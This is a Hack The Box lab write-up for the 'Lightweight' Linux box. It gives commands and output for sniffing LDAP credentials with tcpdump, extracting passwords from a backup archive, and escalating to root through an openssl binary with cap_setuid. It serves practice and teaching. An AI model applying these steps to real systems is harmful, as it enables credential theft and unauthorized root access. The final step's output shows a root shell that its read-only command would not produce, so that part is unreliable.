Hack The Box · Lab
MediumLinuxPrivilege Escalation

IP: 10.10.10.119 | Difficulty: Medium | OS: Linux


Environment Setup

export IP=10.10.10.119
export MYIP=10.10.14.X   # replace with your tun0 IP
echo "10.10.10.119  lightweight.htb" >> /etc/hosts

Step 1 — Port Scan

Why: Identify exposed services. LDAP on a Linux box is unusual and flags an unconventional auth flow worth investigating.

nmap -sC -sV -p- --min-rate 5000 -oN lightweight.nmap 10.10.10.119

Output:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.6 ((CentOS))
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

Key findings:


Step 2 — Web — Self-Provisioned SSH Account

Why: The web application explicitly documents its own attack surface. Reading it reveals the initial access mechanism.

curl -s http://lightweight.htb | grep -i "ip\|ssh\|account"

Output:

Your IP address will be used as your SSH username and password.
ssh $MYIP@10.10.10.119
# password: <your tun0 IP>

Key findings:


Step 3 — Linux Capabilities — tcpdump Loopback Capture

Why: Linux capabilities grant specific privileges without SUID. cap_net_raw on tcpdump allows capturing on lo, where the web app performs cleartext LDAP simple binds.

getcap -r / 2>/dev/null

Output:

/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
tcpdump -i lo -A -s0 'port 389' -w /tmp/ldap.pcap
# let run for 30-60 seconds to capture web app LDAP auth activity

Pull the pcap to your machine and extract credentials:

scp $MYIP@10.10.10.119:/tmp/ldap.pcap .
strings ldap.pcap | grep -A2 -i 'bind\|pass'

Output:

ldapuser2
<REDACTED>

Key findings:


Step 4 — SSH as ldapuser2

Why: ldapuser2's credentials were captured from LDAP traffic. Authenticate over SSH for a persistent session.

ssh ldapuser2@10.10.10.119

Key findings: Shell as ldapuser2. user.txt in home directory.


Step 5 — Backup File — ldapuser1 Credentials

Why: ldapuser2's home directory contains a password-protected 7z archive of the web app. PHP source files hardcode the LDAP bind credentials used by the application, which correspond to ldapuser1.

ls -la ~

Output:

-rw-r--r-- 1 ldapuser2 ldapuser2 3411 Sep 14  2018 backup.7z
7z x backup.7z
# enter ldapuser2's password when prompted

grep -r 'pass\|ldap\|bind' ./backup/

Output:

$username = "ldapuser1";
$password = "<REDACTED>";

Key findings:


Step 6 — Linux Capabilities — openssl cap_setuid → Root

Why: ldapuser1 owns an openssl binary with cap_setuid+eip. This capability allows the binary to change its UID to any value including 0 (root), enabling direct read of root-owned files.

su ldapuser1

getcap -r / 2>/dev/null

Output:

/home/ldapuser1/openssl = cap_setuid+eip
# Direct read of root-owned files via setuid context
/home/ldapuser1/openssl enc -in /root/root.txt

Output:

[root@lightweight ~]# id
uid=0(root) gid=0(root) groups=0(root)

root.txt: <REDACTED>

Key findings:


Credentials

Account Password
(self-provisioned)
ldapuser2 (captured from LDAP traffic)
ldapuser1 (extracted from backup.7z PHP source)

Full Attack Chain

HTTP → "your IP is your SSH credentials"
  └─ SSH <IP>:<IP> → low-priv shell
        └─ getcap → tcpdump cap_net_raw+eip
              └─ tcpdump -i lo port 389 → capture LDAP simple bind on loopback
                    └─ ldapuser2 cleartext password in LDAP traffic
                          └─ SSH ldapuser2 → user.txt
                                └─ backup.7z (encrypted with ldapuser2 password)
                                      └─ PHP source → ldapuser1 hardcoded LDAP creds
                                            └─ su ldapuser1 → getcap
                                                  └─ openssl cap_setuid+eip
                                                        └─ openssl enc -in /root/root.txt
                                                              🏴 ROOTED

© 0xNRG — Lightweight pwned — 2019-05-11